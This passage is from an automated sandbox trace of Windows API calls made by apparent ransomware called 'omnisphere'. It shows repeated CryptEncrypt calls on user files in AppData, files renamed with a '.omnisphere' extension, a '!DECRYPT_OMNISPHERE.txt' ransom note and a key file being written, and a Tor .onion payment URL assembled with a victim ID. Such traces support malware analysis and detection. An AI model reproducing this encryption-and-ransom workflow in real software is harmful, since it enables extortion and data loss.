pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.548] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.549] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.550] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.551] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.554] CryptDestroyKey (hKey=0x16396a8) returned 1 [0063.554] CryptReleaseContext (hProv=0x163c520, dwFlags=0x0) returned 1 [0063.554] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x18d67, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.554] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.555] GetProcessHeap () returned 0x1600000 [0063.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x28a) returned 0x1654278 [0063.555] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\k0uujx_g_dcqhkps7.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\k0uujx_g_dcqhkps7.png.omnisphere")) returned 1 [0063.558] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png.omnisphere.id" [0063.558] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\k0uujx_g_dcqhkps7.png.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.559] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.560] CloseHandle (hObject=0x3a8) returned 1 [0063.561] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.562] CloseHandle (hObject=0x3a4) returned 1 [0063.562] SetEndOfFile (hFile=0x3a0) returned 1 [0063.562] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.567] CloseHandle (hObject=0x3a0) returned 1 [0063.567] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.567] GetProcessHeap () returned 0x1600000 [0063.567] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1654aa8 [0063.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.567] GetProcessHeap () returned 0x1600000 [0063.567] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641c00 [0063.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641c00, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.567] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.567] GetProcessHeap () returned 0x1600000 [0063.567] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f9f0 [0063.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f9f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.567] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.567] GetProcessHeap () returned 0x1600000 [0063.567] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163bb90 [0063.567] PathCombineW (in: pszDest=0x163bb90, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.567] GetProcessHeap () returned 0x1600000 [0063.568] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165a8b0 [0063.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.568] WriteFile (in: hFile=0x3a0, lpBuffer=0x165a8b0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165a8b0*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.568] CloseHandle (hObject=0x3a0) returned 1 [0063.568] GetProcessHeap () returned 0x1600000 [0063.568] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1654aa8 | out: hHeap=0x1600000) returned 1 [0063.568] GetProcessHeap () returned 0x1600000 [0063.568] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f800 [0063.568] PathCombineW (in: pszDest=0x163f800, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.568] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.568] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.569] CloseHandle (hObject=0x3a0) returned 1 [0063.569] GetProcessHeap () returned 0x1600000 [0063.569] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f800 | out: hHeap=0x1600000) returned 1 [0063.569] GetProcessHeap () returned 0x1600000 [0063.569] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163c498 | out: hHeap=0x1600000) returned 1 [0063.569] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95d95e60, ftCreationTime.dwHighDateTime=0x1d4ca1d, ftLastAccessTime.dwLowDateTime=0x33bd7eb0, ftLastAccessTime.dwHighDateTime=0x1d4c67f, ftLastWriteTime.dwLowDateTime=0x33bd7eb0, ftLastWriteTime.dwHighDateTime=0x1d4c67f, nFileSizeHigh=0x0, nFileSizeLow=0x4a07, dwReserved0=0x0, dwReserved1=0xed, cFileName="KEBUC5mjwXRfQmP-VL.wav", cAlternateFileName="KEBUC5~1.WAV")) returned 1 [0063.569] GetProcessHeap () returned 0x1600000 [0063.569] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7c) returned 0x163bc18 [0063.569] PathCombineW (in: pszDest=0x163bc18, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="KEBUC5mjwXRfQmP-VL.wav" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav" [0063.569] StrStrW (lpFirst=".omnisphere", lpSrch=".wav") returned 0x0 [0063.569] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\KEBUC5mjwXRfQmP-VL.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\kebuc5mjwxrfqmp-vl.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.569] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=18951) returned 1 [0063.569] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x44e3, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.570] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.570] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.572] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] GetTickCount () returned 0x1150348 [0063.573] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b970) returned 1 [0063.574] CryptImportKey (in: hProv=0x163b970, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639a28) returned 1 [0063.574] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.574] CryptDestroyKey (hKey=0x1639a28) returned 1 [0063.574] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0063.574] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a07, lpName=0x0) returned 0x3a4 [0063.575] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a07) returned 0x3430000 [0063.575] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c498) returned 1 [0063.576] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x16397e8) returned 1 [0063.576] CryptSetKeyParam (hKey=0x16397e8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.576] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.577] CryptEncrypt (in: hKey=0x16397e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 